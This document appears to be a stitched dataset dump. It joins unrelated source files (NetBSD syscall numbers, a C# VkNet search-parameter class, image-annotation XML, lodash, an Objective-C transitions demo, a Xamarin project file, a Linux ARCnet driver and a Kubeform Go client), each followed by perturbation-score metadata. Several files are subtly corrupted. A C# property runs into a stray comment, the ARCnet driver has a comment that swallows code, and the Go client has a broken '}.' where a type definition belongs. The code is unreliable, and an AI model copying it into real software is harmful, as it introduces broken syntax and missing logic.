SYS_IOCTL = 54 // { int|sys||ioctl(int fd, u_long com, ... void *data); }
SYS_REVOKE = 56 // { int|sys||revoke(const char *path); }
SYS_SYMLINK = 57 // { int|sys||symlink(const char *path, const char *link); }
SYS_READLINK = 58 // { ssize_t|sys||readlink(const char *path, char *buf, size_t count); }
SYS_EXECVE = 59 // { int|sys||execve(const char *path, char * const *argp, char * const *envp); }
SYS_UMASK = 60 // { mode_t|sys||umask(mode_t newmask); }
SYS_CHROOT = 61 // { int|sys||chroot(const char *path); }
SYS_VFORK = 66 // { int|sys||vfork(void); }
SYS_SBRK = 69 // { int|sys||sbrk(intptr_t incr); }
SYS_SSTK = 70 // { int|sys||sstk(int incr); }
SYS_VADVISE = 72 // { int|sys||ovadvise(int anom); }
SYS_MUNMAP = 73 // { int|sys||munmap(void *addr, size_t len); }
SYS_MPROTECT = 74 // { int|sys||mprotect(void *addr, size_t len, int prot); }
SYS_MADVISE = 75 // { int|sys||madvise(void *addr, size_t len, int behav); }
SYS_MINCORE = 78 // { int|sys||mincore(void *addr, size_t len, char *vec); }
SYS_GETGROUPS = 79 // { int|sys||getgroups(int gidsetsize, gid_t *gidset); }
SYS_SETGROUPS = 80 // { int|sys||setgroups(int gidsetsize, const gid_t *gidset); }
SYS_GETPGRP = 81 // { int|sys||getpgrp(void); }
SYS_SETPGID = 82 // { int|sys||setpgid(pid_t pid, pid_t pgid); }
SYS_DUP2 = 90 // { int|sys||dup2(int from, int to); }
SYS_FCNTL = 92 // { int|sys||fcntl(int fd, int cmd, ... void *arg); }
SYS_FSYNC = 95 // { int|sys||fsync(int fd); }
SYS_SETPRIORITY = 96 // { int|sys||setpriority(int which, id_t who, int prio); }
SYS_CONNECT = 98 // { int|sys||connect(int s, const struct sockaddr *name, socklen_t namelen); }
SYS_GETPRIORITY = 100 // { int|sys||getpriority(int which, id_t who);
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.48776543140411377,
"baseline_truncated": false,
"doc_advantage_score": 47.357234954833984,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.010299702174961567,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 5639,
"total_sentences": 3,
"truncated": false
}
|
using System;
using Newtonsoft.Json;
using VkNet.Enums.Filters;
using VkNet.Enums.SafetyEnums;
using VkNet.Utils.JsonConverter;
namespace VkNet.Model.RequestParams
{
/// <summary>
/// Параметры метода groups.search
/// </summary>
[Serializable]
public class GroupsSearchParams
{
/// <summary>
/// Текст поискового запроса. строка, обязательный параметр.
/// </summary>
public string Query { get; set; }
/// <summary>
/// Тип сообщества. Возможные значения: group, page, event. строка.
/// </summary>
[JsonConverter(typeof(SafetyEnumJsonConverter))]
public GroupType Type { get; set; }
/// <summary>
/// Идентификатор страны. положительное число.
/// </summary>
public long? CountryId { get; set; }. При передаче этого параметра поле country_id
/// игнорируется. положительное число.
/// </summary>
public long? CityId { get; set; }
/// <summary>
/// При передаче значения 1 будут выведены предстоящие события. Учитывается только
/// при передаче в качестве type
/// значения event. флаг, может принимать значения 1 или 0.
/// </summary>
public bool? Future { get; set; }
/// <summary>
/// при передаче значения 1 будут выведены сообщества с включенными товарами.
/// </summary>
[JsonProperty(propertyName: "market")]
public bool? Market { get; set; }
/// <summary>
/// 0 — сортировать по умолчанию (аналогично результатам поиска в полной версии
/// сайта);
/// 1 — сортировать по скорости роста;
/// 2 — сортировать по отношению дневной посещаемости к количеству пользователей;
/// 3 — сортировать по отношению количества лайков к количеству пользователей;
/// 4 — сортировать по отношению количества комментариев к количеству
/// пользователей;
/// 5 — сортировать по отношению количества записей в обсуждениях к количеству
/// пользователей.
/// целое число.
/// </summary>
public GroupSort Sort { get; set; }
/// <summary>
/// Смещение, необходимое для выборки определённого подмножества результатов
/// поиска. По умолчанию — 0. положительное
/// число.
/// </summary>
public long? Offset { get; set; }
/// <summary>
/// Количество результатов поиска, которое необходимо вернуть. Обратите внимание —
/// даже при использовании параметра
/// offset для получения информации доступны только первые 1000 результатов.
/// положительное число, по умолчанию 20, максимальное значение 1000.
/// </summary>
public long? Count { get; set; }
}
}
| null | 1
|
{
"advantage_score_max": 5.042865753173828,
"advantage_score_mean": 2.035720109939575,
"advantage_score_min": 1.1177634000778198,
"advantage_score_std": 1.5173360109329224,
"advantage_scores": [
5.042865753173828,
1.6759592294692993,
1.1942939758300781,
1.1477184295654297,
1.1177634000778198
],
"baseline_doc_loss": 0.7330707311630249,
"baseline_truncated": false,
"doc_advantage_score": 0.9617117047309875,
"length_change_ratio": 0.35294117647058826,
"net_length_change_chars": -44,
"original_sentences_length_chars": 68,
"replacement_paraphrases_length_chars": 24,
"sentences_perturbed": 1,
"target_doc_loss": 0.7622562050819397,
"target_truncated": false,
"threshold_passing_sentences": 5,
"total_doc_length_chars": 2505,
"total_sentences": 28,
"truncated": false
}
|
<image>
<filename>image_004525.jpg</filename>
<folder></folder>
<size>
<width>256</width>
<height>256</height>
</size>
<origSize>
<width>800</width>
<height>800</height>
</origSize>
<generated>1</generated>
</image>
<file>
<filename>image_004525.xml</filename>
<folder></folder>
</file>
<object>
<objectId>1</objectId>
<name>sky</name>
<masks>
<filename>masks/image_004525.mat</filename>
</masks>
<keyword>sky</keyword>
</object>
<objImgSrc>
<filename>highway_art254.jpg</filename>
<folder>spatial_envelope_256x256_static_8outdoorcategories</folder>
<size>
<width>800</width>
<height>800</height>
</size>
<origSize>
<width>256</width>
<height>256</height>
</origSize>
</objImgSrc>
<bgImgSrc>
<filename>coast_nat194.jpg</filename>
<folder>spatial_envelope_256x256_static_8outdoorcategories</folder>
<size>
<width>800</width>
<height>800</height>
</size>
<origSize>
<width>256</width>
<height>256</height>
</origSize>
</bgImgSrc>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/**
* Checks if `value` is object-like. A value is object-like if it's not `null`
* and has a `typeof` result of "object".
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is object-like, else `false`.
* @example
*
* _.isObjectLike({});
* // => true
*
* _.isObjectLike([1, 2, 3]);
* // => true
*
* _.isObjectLike(_.noop);
* // => false
*
* _.isObjectLike(null);
* // => false
*/
function isObjectLike(value) {
return value != null && typeof value == 'object';
}
module.exports = isObjectLike;
| null | 0
|
{
"advantage_score_max": 2.744776487350464,
"advantage_score_mean": 2.0767221450805664,
"advantage_score_min": 1.408668041229248,
"advantage_score_std": 0.6680542230606079,
"advantage_scores": [
2.744776487350464,
1.408668041229248
],
"baseline_doc_loss": 0.19223859906196594,
"baseline_truncated": false,
"doc_advantage_score": 1.6558979749679565,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.11609326303005219,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 614,
"total_sentences": 5,
"truncated": false
}
|
//
// RZSimpleCollectionViewController.m
// RZTransitions
//
// Created by Stephen Barnes on 12/11/13.
// Copyright 2014 Raizlabs and contributors
// http://raizlabs.com/
//
// Permission is granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is provided to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
#import "RZSimpleCollectionViewController.h"
#import "RZSimpleColorViewController.h"
#import "RZTransitionInteractionControllerProtocol.h"
#import "RZTransitionsInteractionControllers.h"
#import "RZTransitionsAnimationControllers.h"
#import "RZRectZoomAnimationController.h"
#import "RZTransitionsManager.h"
#import "UIColor+Random.h"
#define kRZCollectionViewCellReuseId @"kRZCollectionViewCellReuseId"
#define kRZCollectionViewNumCells 50
#define kRZCollectionViewCellSize 88
@interface RZSimpleCollectionViewController () < UIViewControllerTransitioningDelegate,
RZTransitionInteractionControllerDelegate,
RZRectZoomAnimationDelegate >
@property (nonatomic, assign) CGPoint circleTransitionStartPoint;
@property (nonatomic, assign) CGRect transitionCellRect;
@property (nonatomic, strong) RZOverscrollInteractionController *presentOverscrollInteractor;
@property (nonatomic, strong) RZRectZoomAnimationController *presentDismissAnimationController;
@end
@implementation RZSimpleCollectionViewController
- (void)viewDidLoad
{
[super viewDidLoad];
[self.collectionView registerClass:[UICollectionViewCell class] forCellWithReuseIdentifier:kRZCollectionViewCellReuseId];
// TODO: Currently the RZOverscrollInteractor will take over the collection view's delegate, meaning that ```didSelectItemAtIndexPath:```
// will not be forwarded back. RZOverscrollInteractor requires a bit of a rewrite to use KVO instead of delegation to address this.
// self.presentOverscrollInteractor = [[RZOverscrollInteractionController alloc] init];
// [self.presentOverscrollInteractor attachViewController:self withAction:RZTransitionAction_Present];
// [self.presentOverscrollInteractor setNextViewControllerDelegate:self];
// [[RZTransitionsManager shared] setInteractionController:self.presentOverscrollInteractor
// fromViewController:[self class]
// toViewController:nil
// forAction:RZTransitionAction_Present];
self.presentDismissAnimationController = [[RZRectZoomAnimationController alloc] init];
[self.presentDismissAnimationController setRectZoomDelegate:self];
self.circleTransitionStartPoint = CGPointZero;
self.transitionCellRect = CGRectZero;
[[RZTransitionsManager shared] setAnimationController:self.presentDismissAnimationController
fromViewController:[self class]
forAction:RZTransitionAction_PresentDismiss];
[self setTransitioningDelegate:[RZTransitionsManager shared]];
}
- (void)viewDidAppear:(BOOL)animated
{
// TODO: ** Cannot set the scroll view delegate and the collection view delegate at the same time **
// [self.presentOverscrollInteractor watchScrollView:self.collectionView];
}
#pragma mark - New VC Helper Methods
- (UIViewController *)newColorVCWithColor:(UIColor *)color
{
RZSimpleColorViewController *newColorVC = [[RZSimpleColorViewController alloc] initWithColor:color];
[newColorVC setTransitioningDelegate:[RZTransitionsManager shared]];
// TODO: Hook up next VC's dismiss transition
return newColorVC;
}
#pragma mark - UICollectionViewDelegate
- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath
{
UIColor *cellBackgroundColor = [collectionView cellForItemAtIndexPath:indexPath].backgroundColor;
UIViewController *colorVC = [self newColorVCWithColor:cellBackgroundColor];
self.circleTransitionStartPoint = [collectionView convertPoint:[collectionView cellForItemAtIndexPath:indexPath].center toView:self.view];;
self.transitionCellRect = [collectionView convertRect:[collectionView cellForItemAtIndexPath:indexPath].frame toView:self.view];
// Present VC
[self presentViewController:colorVC animated:YES completion:nil];
}
#pragma mark - UICollectionViewDataSource
- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section
{
return kRZCollectionViewNumCells;
}
- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath
{
UICollectionViewCell* cell = [collectionView dequeueReusableCellWithReuseIdentifier:kRZCollectionViewCellReuseId forIndexPath:indexPath];
[cell setBackgroundColor:[UIColor randomColor]];
return cell;
}
#pragma mark - RZTransitionInteractorDelegate
- (UIViewController *)nextViewControllerForInteractor:(id<RZTransitionInteractionController>)interactor
{
return [self newColorVCWithColor:nil];
}
#pragma mark - RZRectZoomAnimationDelegate
- (CGRect)rectZoomPosition
{
return self.transitionCellRect;
}
#pragma mark - RZCirclePushAnimationDelegate
- (CGPoint)circleCenter
{
return self.circleTransitionStartPoint;
}
- (CGFloat)circleStartingRadius
{
return (kRZCollectionViewCellSize / 2.0f);
}
@end
// 版权属于原作者
// http://code4app.com (cn) http://code4app.net (en)
// 发布代码于最专业的源码分享网站: Code4App.com
| null | 1
|
{
"advantage_score_max": 4.515931606292725,
"advantage_score_mean": 4.515931606292725,
"advantage_score_min": 4.515931606292725,
"advantage_score_std": 0,
"advantage_scores": [
4.515931606292725
],
"baseline_doc_loss": 0.7857487201690674,
"baseline_truncated": false,
"doc_advantage_score": 1.1100001335144043,
"length_change_ratio": 0.9793205317577548,
"net_length_change_chars": -14,
"original_sentences_length_chars": 677,
"replacement_paraphrases_length_chars": 663,
"sentences_perturbed": 1,
"target_doc_loss": 0.7078816294670105,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 6565,
"total_sentences": 7,
"truncated": false
}
|
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">iPhoneSimulator</Platform>
<ProductVersion>8.0.30703</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{D1DA62A6-8598-434B-B081-5E15D2AF3D43}</ProjectGuid>
<ProjectTypeGuids>{FEACFBD2-3405-455C-9665-78FE426C6842};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<TemplateGuid>{6143fdea-f3c2-4a09-aafa-6e230626515e}</TemplateGuid>
<OutputType>Exe</OutputType>
<RootNamespace>MandelAnima.iOS</RootNamespace>
<IPhoneResourcePrefix>Resources</IPhoneResourcePrefix>
<AssemblyName>MandelAnima.iOS</AssemblyName>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|iPhoneSimulator' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\iPhoneSimulator\Debug</OutputPath>
<DefineConstants>DEBUG</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>false</ConsolePause>
<MtouchArch>x86_64</MtouchArch>
<MtouchLink>None</MtouchLink>
<MtouchDebug>true</MtouchDebug>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|iPhoneSimulator' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\iPhoneSimulator\Release</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<MtouchLink>None</MtouchLink>
<MtouchArch>x86_64</MtouchArch>
<ConsolePause>false</ConsolePause>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|iPhone' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\iPhone\Debug</OutputPath>
<DefineConstants>DEBUG</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>false</ConsolePause>
<MtouchArch>ARM64</MtouchArch>
<CodesignKey>iPhone Developer</CodesignKey>
<MtouchDebug>true</MtouchDebug>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|iPhone' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\iPhone\Release</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<MtouchArch>ARM64</MtouchArch>
<ConsolePause>false</ConsolePause>
<CodesignKey>iPhone Developer</CodesignKey>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Ad-Hoc|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\Ad-Hoc</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<MtouchArch>ARM64</MtouchArch>
<BuildIpa>True</BuildIpa>
<CodesignProvision>Automatic:AdHoc</CodesignProvision>
<CodesignKey>iPhone Distribution</CodesignKey>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'AppStore|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\AppStore</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<MtouchArch>ARM64</MtouchArch>
<CodesignProvision>Automatic:AppStore</CodesignProvision>
<CodesignKey>iPhone Distribution</CodesignKey>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<ItemGroup>
<Compile Include="Main.cs" />
<Compile Include="AppDelegate.cs" />
<None Include="Entitlements.plist" />
<None Include="Info.plist" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<InterfaceDefinition Include="Resources\LaunchScreen.storyboard" />
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Contents.json">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon1024.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon180.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon167.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon152.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon120.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon87.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon80.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon76.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon60.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon58.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon40.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon29.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon20.png">
<Visible>false</Visible>
</ImageAsset>
</ItemGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
<Reference Include="Xamarin.iOS" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Sk
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
* Linux ARCnet driver - "cap mode" packet encapsulation.
* It adds sequence numbers to packets for communicating between a user space
* application and the driver. After a transmit it sends a packet with protocol
* byte 0 back up to the userspace containing the sequence number of the packet
* plus the transmit-status on the ArcNet.
*
* Written 2002-4 by Esben Nielsen, Vestas Wind Systems A/S
* Derived from arc-rawmode.c by Avery Pennarun.
* arc-rawmode was in turned based on skeleton.c, see below.
*
* **********************
*
* The original copyright of skeleton.c was as follows:
*
* skeleton.c Written 1993 by Donald Becker.
* Copyright 1993 United States Government as represented by the
* Director, National Security Agency. This software may only be used
* and distributed according to the terms of the GNU General Public License as
* modified by SRC, incorporated herein by reference.
*
* **********************
*
* For more details, see drivers/net/arcnet.c
*
* **********************
*/
#define pr_fmt(fmt) "arcnet:" KBUILD_MODNAME ": " fmt
#include <linux/module.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/if_arp.h>
#include <net/arp.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include "arcdevice.h"
/* packet receiver */
static void rx(struct net_device *dev, int bufnum,
struct archdr *pkthdr, int length)
{
struct arcnet_local *lp = netdev_priv(dev);
struct sk_buff *skb;
struct archdr *pkt = pkthdr;
char *pktbuf, *pkthdrbuf;
int ofs;
arc_printk(D_DURING, dev, "it's a raw(cap) packet (length=%d)\n",
length);
if (length >= MinTU)
ofs = 512 - length;
else
ofs = 256 - length;
skb = alloc_skb(length + ARC_HDR_SIZE + sizeof(int), GFP_ATOMIC);
if (!skb) {
dev->stats.rx_dropped++;
return;
}
skb_put(skb, length + ARC_HDR_SIZE + sizeof(int));
skb->dev = dev;
skb_reset_mac_header(skb);
pkt = (struct archdr *)skb_mac_header(skb);
skb_pull(skb, ARC_HDR_SIZE);
/* up to sizeof(pkt->soft) has already been copied from the card
* squeeze in an int for the cap encapsulation
* use these variables to be sure we count in bytes, not in
* sizeof(struct archdr)
*/
pktbuf = (char *)pkt;
pkthdrbuf = (char *)pkthdr;
memcpy(pktbuf, pkthdrbuf, ARC_HDR_SIZE + sizeof(pkt->soft.cap.proto));
memcpy(pktbuf + ARC_HDR_SIZE + sizeof(pkt->soft.cap.proto) + sizeof(int),
pkthdrbuf + ARC_HDR_SIZE + sizeof(pkt->soft.cap.proto),
sizeof(struct archdr) - ARC_HDR_SIZE - sizeof(pkt->soft.cap.proto));
if (length > sizeof(pkt->soft))
lp->hw.copy_from_card(dev, bufnum, ofs + sizeof(pkt->soft),
pkt->soft.raw + sizeof(pkt->soft)
+ sizeof(int),
length - sizeof(pkt->soft));
if (BUGLVL(D_SKB))
arcnet_dump_skb(dev, skb, "rx");
skb->protocol = cpu_to_be16(ETH_P_ARCNET);
netif_rx(skb);
}
/* Create the ARCnet hard/soft headers for cap mode.
* There aren't any soft headers in cap mode - not even the protocol id.
*/
static int build_header(struct sk_buff *skb,
struct net_device *dev,
unsigned short type,
uint8_t daddr)
{
int hdr_size = ARC_HDR_SIZE;
struct archdr *pkt = skb_push(skb, hdr_size);
arc_printk(D_PROTO, dev, "Preparing header for cap packet %x.\n",
*((int *)&pkt->soft.cap.cookie[0]));
/* Set the source hardware address.
*
* This is pretty pointless for most purposes, but it can help in
* debugging. ARCnet does not allow us to change the source address in
* the actual packet sent)
*/
pkt->hard.source = *dev->dev_addr;
/* see linux/net/ethernet/eth.c to see where I got the following */
if (dev->flags & (IFF_LOOPBACK | IFF_NOARP)) {
/* FIXME: fill in the last byte of the dest ipaddr here to
* better comply with RFC1051 in "noarp" mode.
*/
pkt->hard.dest = 0;
return hdr_size;
}
/* otherwise, just fill it in and go! */
pkt->hard.dest = daddr;
return hdr_size; /* success */
}
static int prepare_tx(struct net_device *dev, struct archdr *pkt, int length,
int bufnum)
{
struct arcnet_local *lp = netdev_priv(dev);
struct arc_hardware *hard = &pkt->hard;
int ofs;
/* hard header is not included in packet length */
length -= ARC_HDR_SIZE;
/* And neither is the cookie field */
length -= sizeof(int);
arc_printk(D_DURING, dev, "prepare_tx: txbufs=%d/%d/%d\n",
lp->next_tx, lp->cur_tx, bufnum);
arc_printk(D_PROTO, dev, "Sending for cap packet %x.\n",
*((int *)&pkt->soft.cap.cookie[0]));
if (length > XMTU) {
/* should never happen! other people already check for this. this should not occur! prepare_tx with size %d (> %d)\n",
length, XMTU);
length = XMTU;
}
if (length > MinTU) {
hard->offset[0] = 0;
hard->offset[1] = ofs = 512 - length;
} else if (length > MTU) {
hard->offset[0] = 0;
hard->offset[1] = ofs = 512 - length - 3;
} else {
hard->offset[0] = ofs = 256 - length;
}
arc_printk(D_DURING, dev, "prepare_tx: length=%d ofs=%d\n",
length, ofs);
/* Copy the arcnet-header + the protocol byte down: */
lp->hw.copy_to_card(dev, bufnum, 0, hard, ARC_HDR_SIZE);
lp->hw.copy_to_card(dev, bufnum, ofs, &pkt->soft.cap.proto,
sizeof(pkt->soft.cap.proto));
/* Skip the extra integer we have written into it as a cookie
* but write the rest of the message:
*/
lp->hw.copy_to_card(dev, bufnum, ofs + 1,
((unsigned char *)&pkt->soft.cap.mes), length - 1);
lp->lastload_dest = hard->dest;
return 1; /* done */
}
static int ack_tx(struct net_device *dev, int acked)
{
struct arcnet_local *lp = netdev_priv(dev);
struct sk_buff *ackskb;
struct archdr *ackpkt;
int length = sizeof(struct arc_cap);
arc_printk(D_DURING, dev, "capmode: ack_tx: protocol: %
| null | 1
|
{
"advantage_score_max": 4.7253642082214355,
"advantage_score_mean": 2.1634390354156494,
"advantage_score_min": 1.210443377494812,
"advantage_score_std": 1.2708911895751953,
"advantage_scores": [
4.7253642082214355,
2.8301355838775635,
1.5844403505325317,
1.3279043436050415,
1.3023451566696167,
1.210443377494812
],
"baseline_doc_loss": 1.5277771949768066,
"baseline_truncated": false,
"doc_advantage_score": 3.618171215057373,
"length_change_ratio": 0.6111111111111112,
"net_length_change_chars": -14,
"original_sentences_length_chars": 36,
"replacement_paraphrases_length_chars": 22,
"sentences_perturbed": 1,
"target_doc_loss": 0.42225122451782227,
"target_truncated": false,
"threshold_passing_sentences": 6,
"total_doc_length_chars": 5704,
"total_sentences": 18,
"truncated": false
}
|
/*
Copyright The Kubeform Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1alpha1
import (
"context"
"time"
v1alpha1 "kubeform.dev/kubeform/apis/aws/v1alpha1"
scheme "kubeform.dev/kubeform/client/clientset/versioned/scheme"
v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
types "k8s.io/apimachinery/pkg/types"
watch "k8s.io/apimachinery/pkg/watch"
rest "k8s.io/client-go/rest"
)
// Cloud9EnvironmentEc2sGetter has a method to return a Cloud9EnvironmentEc2Interface.
// A group's client should implement this interface.
type Cloud9EnvironmentEc2sGetter interface {
Cloud9EnvironmentEc2s(namespace string) Cloud9EnvironmentEc2Interface
}
// Cloud9EnvironmentEc2Interface has methods to work with Cloud9EnvironmentEc2 resources.
type Cloud9EnvironmentEc2Interface interface {
Create(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.CreateOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
Update(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
UpdateStatus(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
Delete(ctx context.Context, name string, opts v1.DeleteOptions) error
DeleteCollection(ctx context.Context, opts v1.DeleteOptions, listOpts v1.ListOptions) error
Get(ctx context.Context, name string, opts v1.GetOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
List(ctx context.Context, opts v1.ListOptions) (*v1alpha1.Cloud9EnvironmentEc2List, error)
Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error)
Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1alpha1.Cloud9EnvironmentEc2, err error)
Cloud9EnvironmentEc2Expansion
}.
func (c *cloud9EnvironmentEc2s) Get(ctx context.Context, name string, options v1.GetOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Get().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(name).
VersionedParams(&options, scheme.ParameterCodec).
Do(ctx).
Into(result)
return
}
// List takes label and field selectors, and returns the list of Cloud9EnvironmentEc2s that match those selectors.
func (c *cloud9EnvironmentEc2s) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.Cloud9EnvironmentEc2List, err error) {
var timeout time.Duration
if opts.TimeoutSeconds != nil {
timeout = time.Duration(*opts.TimeoutSeconds) * time.Second
}
result = &v1alpha1.Cloud9EnvironmentEc2List{}
err = c.client.Get().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&opts, scheme.ParameterCodec).
Timeout(timeout).
